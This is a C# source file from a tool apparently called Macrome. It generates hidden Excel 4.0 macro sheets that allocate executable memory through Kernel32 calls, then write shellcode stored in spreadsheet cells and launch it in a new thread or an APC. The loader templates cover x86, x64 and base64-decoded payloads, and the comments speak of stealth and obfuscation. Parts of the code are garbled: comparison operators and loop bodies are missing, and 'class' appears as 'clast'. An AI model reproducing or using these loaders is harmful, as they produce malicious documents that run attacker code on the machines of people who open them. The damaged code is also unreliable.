include
MacroPatterns.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;
using b2xtranslator.Spreadsheet.XlsFileFormat;
using b2xtranslator.xls.XlsFileFormat.Records;
namespace Macrome
{
public static clast MacroPatterns
{
public const string MacroColumnSeparator = ";;;;;";
public const string InstaEvalMacroPrefix = "%%%%%";
public const string DefaultVariableName = "šœƒ";
//Excel variable names must start with a valid letter, then they can include numbers
private static bool IsValidVariableNameCharacter(char c, bool allowNumbers = false)
{
//A-Z, a-z, ƒ (131), Š(140), Ž(142), š(154), œ(156), ž(158), Ÿ(159), ª(170), µ(181), º(186)
//Everything equal to or past 192 except ×(215) and ÷(247)
if (c >= 'A' && c = 'a' && c = '0' && c c == (char) code)) return true;
if ((int) c >= 192) return true;
return false;
}
private static bool LooksLikeVariableastignment(string formula)
{
try
{
//Make sure the first character isn't a number, but is a valid variable character
if (IsValidVariableNameCharacter(formula[0]))
{
char firstNonVariableCharacter =
formula.SkipWhile(c => IsValidVariableNameCharacter(c, true)).First();
if (firstNonVariableCharacter == '=')
{
return true;
}
}
}
catch (Exception)
{
//If every character is a valid variable name, then .First() will return nothing
}
return false;
}
///
/// Refactor/Replace formulas using ACTIVE.CELL + SELECT to use something
/// that's more friendly for multi-sheet excel docs.
///
///
///
///
public static string ReplaceSelectActiveCellFormula(string cellFormula, string variableName = DefaultVariableName)
{
if (cellFormula.Contains("ACTIVE.CELL()"))
{
cellFormula = cellFormula.Replace("ACTIVE.CELL()", variableName);
}
string selectRegex = @"=SELECT\(.*?\)";
string selectRelativeRegex = @"=SELECT\(.*(R(\[\d+\]){0,1}C(\[\d+\]){0,1}).*?\)";
Regex sRegex = new Regex(selectRegex);
Regex srRegex = new Regex(selectRelativeRegex);
Match sRegexMatch = sRegex.Match(cellFormula);
if (sRegexMatch.Success)
{
Match srRegexMatch = srRegex.Match(cellFormula);
string selectStringMatch = sRegexMatch.Value;
//We have a line like =SELECT(,"R[1]C")
if (srRegexMatch.Success)
{
string relAddress = srRegexMatch.Groups[1].Value;
string relReplace = cellFormula.Replace(selectStringMatch,
string.Format("{0}=ABSREF(\"{1}\",{0})", variableName, relAddress));
return relReplace;
}
//We have a line like =SELECT(B1:B111,B1)
else
{
string targetCell = selectStringMatch.Split(",").Last().Split(')').First();
string varastign = cellFormula.Replace(selectStringMatch,
string.Format("{0}={1}", variableName, targetCell));
return varastign;
}
}
return cellFormula;
}
public static string ConvertA1StringToR1C1String(string cellFormula)
{
//Remap A1 style references to R1C1 (but ignore anything followed by a " in case its inside an EVALUATE statement)
string a1pattern = @"([A-Z]{1,2}\d{1,5})";
Regex rg = new Regex(a1pattern);
MatchCollection matches = rg.Matches(cellFormula);
int stringLenChange = 0;
//Iterate through each match and then replace it at its offset. We iterate through
//each case manually to prevent overlapping cases from double replacing - ex: SELECT(B1:B111,B1)
foreach (var match in matches)
{
string matchString = ((Match)match).Value;
string replaceContent = ExcelHelperClast.ConvertA1ToR1C1(matchString);
//As we change the string, these indexes will go out of sync, track the size delta to make sure we resync positions
int matchIndex = ((Match)match).Index + stringLenChange;
//If the match is followed by a ", then ignore it
int followingIndex = matchIndex + matchString.Length;
if (followingIndex < cellFormula.Length && cellFormula[followingIndex] == '"')
{
continue;
}
//LINQ replacement for python string slicing
cellFormula = new string(cellFormula.Take(matchIndex).
Concat(replaceContent.ToArray()).
Concat(cellFormula.TakeLast(cellFormula.Length - matchIndex - matchString.Length)).ToArray());
stringLenChange += (replaceContent.Length - matchString.Length);
}
return cellFormula;
}
private static string ImportCellFormula(string cellFormula)
{
if (cellFormula.Length == 0) return cellFormula;
string newCellFormula = cellFormula;
//Unescape the "s if we are looking at a CellFormula that has been escaped
if (newCellFormula.StartsWith('"'))
{
//Strip the outer quotes
newCellFormula = new string(newCellFormula.Skip(1).Take(newCellFormula.Length - 2).ToArray());
//Escape the inside content
newCellFormula = ExcelHelperClast.UnescapeFormulaString(newCellFormula);
}
//Replace any uses of SELECT and ACTIVE.CELL with variable usage to better enable the sheet being hidden
//Mainly for use with importing EXCELntDonut macros
newCellFormula = ReplaceSelectActiveCellFormula(newCellFormula);
//FORMULA requires R1C1 strings
newCellFormula = ConvertA1StringToR1C1String(newCellFormula);
int charReplacements = 0;
//Remap CHAR() to actual bytes
for (int i = 1; i = 255 - 3)
{
//If this is a max length cell (common with 255 byte increments of shellcode)
//then mark the macro with a marker and we'll break it into two cells when we're building the sheet
return FormulaHelper.TOOLONGMARKER + newCellFormula;
}
else
{
newCellFormula = string.Format("=\"{0}\"", newCellFormula);
}
}
}
else
{
//TODO Use a proper logging package and log this as DEBUG info
// Console.WriteLine(newCellFormula);
}
if (newCellFormula.Length > 255)
{
throw new ArgumentException(string.Format("Imported Cell Formula is too long - length must be 255 or less:\n{0}", newCellFormula));
}
return newCellFormula;
}
// Imported Macros that perform obfuscation or contain binary information stored via
// =CHAR() can create a situation where the =FORMULA() function will not work.
// Technically a cell can only contain up to 255 characters of string content -
// this limitation also applies to FORMULA input. So while a string of A&B&C&D&E&...
// can technically go up to 8192 characters in length in a cell, the output must
// still only be 255 characters or the result of the formula will be #VALUE!.
// Unfortunately this means we can't use FORMULA to reproduce all valid
// string content either - an 8192 character formula doesn't fit into 255 characters
// so FORMULA will reject it.
//
// In order to support macros which contain binary information and/or have been
// slightly obfuscated, we need to manually convert the CHAR() output back into
// the original binary characters. If this still isn't enough and a single cell
// is > 255 characters, we need to reject the macro input and throw an error.
//
// Additionally, any A1 references must be changed to R1C1 style. Not sure
// why this is the case, but this seems to be the default for FORMULA() invocations.
///
/// Converts a series of Excel 4 Macros into a format that Macrome can write to a hidden Macro sheet.
///
/// A list of strings containing macros. Each string represents a row. Cells are separated by semicolons.
///
public static List ImportMacroPattern(List macrosToImport)
{
List importedMacros = new List();
foreach (var macro in macrosToImport)
{
List cellContent = macro.Split(";").ToList();
//Replace the single ; separator with an unlikely separator like ;;;;; since shellcode can contain a single ;
string importedMacro = string.Join(MacroColumnSeparator, cellContent.Select(ImportCellFormula));
importedMacros.Add(importedMacro);
}
return importedMacros;
}
public static List GetX86GetBinaryLoaderPattern(List preamble, string macroSheetName)
{
int offset;
if (preamble.Count == 0)
{
offset = 1;
} else
{
offset = preamble.Count + 1;
}
//TODO Autocalculate these values at generation time
//These variables astume certain positions in generated macros
//Col 1 is our obfuscated payload
//Col 2 is our actual macro set defined below
//Col 3 is a separated set of cells containing a binary payload, ends with the string END
string lengthCounter = String.Format("R{0}C40", offset);
string offsetCounter = String.Format("R{0}C40", offset + 1);
string dataCellRef = String.Format("R{0}C40", offset + 2);
string dataCol = "C2";
//Expects our invocation of VirtualAlloc to be on row 5, but this will change if the macro changes
string baseMemoryAddress = String.Format("R{0}C1", preamble.Count + 4); //for some reason this only works when its count, not offset
//TODO [Stealth] Add VirtualProtect so we don't call VirtualAlloc with RWX permissions
//TODO [Functionality] Apply x64 support changes from https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js
//TODO [Functionality] Add support for .NET payloads (https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore-hosting, https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/)
List macros = new List()
{
"=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"VA\",,1,0)",
"=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CT\",,1,0)",
"=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WPM\",,1,0)",
"=VA(0,10000000,4096,64)", //Referenced by baseMemoryAddress
string.Format("=SET.VALUE({0}!{1}, 0)", macroSheetName, lengthCounter),
string.Format("=SET.VALUE({0}!{1},1)", macroSheetName, offsetCounter),
string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
string.Format("=WHILE(GET.CELL(5,{0}!{1})\"END\")", macroSheetName, dataCellRef),
string.Format("=WPM(-1,{0}!{1}+{0}!{2},{0}!{3},LEN({0}!{3}),0)", macroSheetName, baseMemoryAddress, lengthCounter, dataCellRef),
string.Format("=SET.VALUE({0}!{1}, {0}!{1} + 1)", macroSheetName, offsetCounter),
string.Format("=SET.VALUE({0}!{1}, {0}!{1} + LEN({0}!{2}))", macroSheetName, lengthCounter, dataCellRef),
string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
"=NEXT()",
//Execute our Payload
string.Format("=CT(0,0,{0}!{1},0,0,0)", macroSheetName, baseMemoryAddress),
"=WAIT(NOW()+\"00:00:03\")",
"=HALT()"
};
if (preamble.Count > 0)
{
return preamble.Concat(macros).ToList();
}
return macros;
}
public static List GetMultiPlatformBinaryPattern(List preamble, string macroSheetName)
{
int offset;
if (preamble.Count == 0)
{
offset = 1;
}
else
{
offset = preamble.Count + 1;
}
//These variables astume certain positions in generated macros
//Col 1 is our main logic
//Col 2 is our x86 payload, terminated by END
//Col 3 is our x64 payload, terminated by END
string x86CellStart = string.Format("R{0}C1", offset + 4); //A5
string x64CellStart = string.Format("R{0}C1", offset + 15); //A16
string variableName = DefaultVariableName;
string x86PayloadCellStart = "R1C2"; //B1
string x64PayloadCellStart = "R1C3"; //C1
string rowsWrittenCell = "R1C4"; //D1
string lengthOfCurrentCell = "R2C4"; //D2
//Happens to be the same cell right now
string x86AllocatedMemoryBase = x86CellStart;
string x64AllocatedMemoryBase = string.Format("R{0}C1", offset + 16); //A17
List macros = new List()
{
"=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"Valloc\",,1,9)",
"=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WProcessMemory\",,1,9)",
"=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CThread\",,1,9)",
string.Format("=IF(ISNUMBER(SEARCH(\"32\",GET.WORKSPACE(1))),GOTO({0}),GOTO({1}))",x86CellStart, x64CellStart),
"=Valloc(0,10000000,4096,64)",
string.Format("{0}={1}", variableName, x86PayloadCellStart),
string.Format("=SET.VALUE({0},0)", rowsWrittenCell),
string.Format("=WHILE({0}\"END\")", variableName),
string.Format("=SET.VALUE({0},LEN({1}))", lengthOfCurrentCell, variableName),
string.Format("=WProcessMemory(-1,{0}+({1}*255),{2},LEN({2}),0)", x86AllocatedMemoryBase, rowsWrittenCell, variableName),
string.Format("=SET.VALUE({0},{0}+1)", rowsWrittenCell),
string.Format("{0}=ABSREF(\"R[1]C\",{0})",variableName),
"=NEXT()",
string.Format("=CThread(0,0,{0},0,0,0)", x86AllocatedMemoryBase),
"=HALT()",
"1342439424", //Base memory address to brute force a page
"0",
string.Format("=WHILE({0}=0)", x64AllocatedMemoryBase),
string.Format("=SET.VALUE({0},Valloc({1},10000000,12288,64))", x64AllocatedMemoryBase, x64CellStart),
string.Format("=SET.VALUE({0},{0}+262144)", x64CellStart),
"=NEXT()",
"=REGISTER(\"Kernel32\",\"RtlCopyMemory\",\"JJCJ\",\"RTL\",,1,9)",
"=REGISTER(\"Kernel32\",\"QueueUserAPC\",\"JJJJ\",\"Queue\",,1,9)",
"=REGISTER(\"ntdll\",\"NtTestAlert\",\"J\",\"Go\",,1,9)",
string.Format("{0}={1}", variableName, x64PayloadCellStart),
string.Format("=SET.VALUE({0},0)", rowsWrittenCell),
string.Format("=WHILE({0}\"END\")", variableName),
string.Format("=SET.VALUE({0},LEN({1}))", lengthOfCurrentCell, variableName),
string.Format("=RTL({0}+({1}*255),{2},LEN({2}))", x64AllocatedMemoryBase, rowsWrittenCell, variableName),
string.Format("=SET.VALUE({0},{0}+1)",rowsWrittenCell),
string.Format("{0}=ABSREF(\"R[1]C\",{0})", variableName),
"=NEXT()",
string.Format("=Queue({0},-2,0)", x64AllocatedMemoryBase),
"=Go()",
string.Format("=SET.VALUE({0},0)",x64AllocatedMemoryBase),
"=HALT()"
};
if (preamble.Count > 0)
{
return preamble.Concat(macros).ToList();
}
return macros;
}
public static List GetBase64DecodePattern(List preamble)
{
int offset;
if (preamble.Count == 0)
{
offset = 1;
}
else
{
offset = preamble.Count + 1;
}
//These variables astume certain positions in generated macros
//Col 1 is our main logic
string registerImportsFunction = string.Format("R{0}C1", offset+1); //A2
string allocateMemoryFunction = string.Format("R{0}C1", offset+5); //A6
string writeLoopFunction = string.Format("R{0}C1", offset+12); //A13
string defineFunctionsFunction = string.Format("R{0}C1", offset+26); //A27
string actualStart = string.Format("R{0}C1", offset + 30); //A31
//Col 2 is our x86 payload, terminated by END
string x86Payload = string.Format("R1C{0}", 2);
//Col 3 is our x64 payload, terminated by END
string x64Payload = string.Format("R1C{0}", 3);
List macros = new List()
{
string.Format("=GOTO({0})",actualStart),
"=REGISTER(\"kernel32\", \"VirtualAlloc\", \"JJJJJ\", \"valloc\", , 1, 9)",
"=REGISTER(\"crypt32\",\"CryptStringToBinaryA\",\"JCJJJNCC\",\"cryptString\",,1,9)",
"=REGISTER(\"shlwapi\",\"SHCreateThread\",\"JJCJJ\",\"shCreateThread\",,1,9)",
"=RETURN()",
"curAddr=1342439424", // Set our start address at 0x50000000
"targetAddr=0",
"=WHILE(targetAddr=0)",
"targetAddr=valloc(curAddr,10000000,12288,576)", // Allocate 10MB for shellcode
"curAddr=curAddr+262144", // Iterate every 0x40000 bytes
"=NEXT()",
"=RETURN(targetAddr)",
"=ARGUMENT(\"targetWriteAddr\",1)",
"=ARGUMENT(\"curWriteRef\",8)",
"=ARGUMENT(\"decryptKey\",2)",
"curLoopWriteAddr=targetWriteAddr",
"=WHILE(curWriteRef\"END\")",
"=IF(LEN(decryptKey)>0)",
"TODO-decryptionfunction",
"=ELSE()",
"=cryptString(curWriteRef,LEN(curWriteRef),1,curLoopWriteAddr,256,\"\",\"\")",
"=END.IF()",
"curLoopWriteAddr=curLoopWriteAddr+(3*LEN(curWriteRef)/4)",
"curWriteRef=ABSREF(\"R[1]C\",curWriteRef)",
"=NEXT()",
"=RETURN(curLoopWriteAddr-targetWriteAddr)",
string.Format("RegisterImports={0}", registerImportsFunction),
string.Format("AllocateMemory={0}", allocateMemoryFunction),
string.Format("WriteLoop={0}", writeLoopFunction),
"=RETURN()",
string.Format("={0}()", defineFunctionsFunction),
"=RegisterImports()",
"targetAddress=AllocateMemory()",
string.Format("=IF(ISNUMBER(SEARCH(\"32\",GET.WORKSPACE(1))),SET.NAME(\"payload\",{0}),SET.NAME(\"payload\",{1}))", x86Payload, x64Payload),
"bytesWritten=WriteLoop(targetAddress,payload,\"\")",
"=shCreateThread(targetAddress,\"\",0,0)",
"=HALT()"
};
if (preamble.Count > 0)
{
return preamble.Concat(macros).ToList();
}
return macros;
}
}
}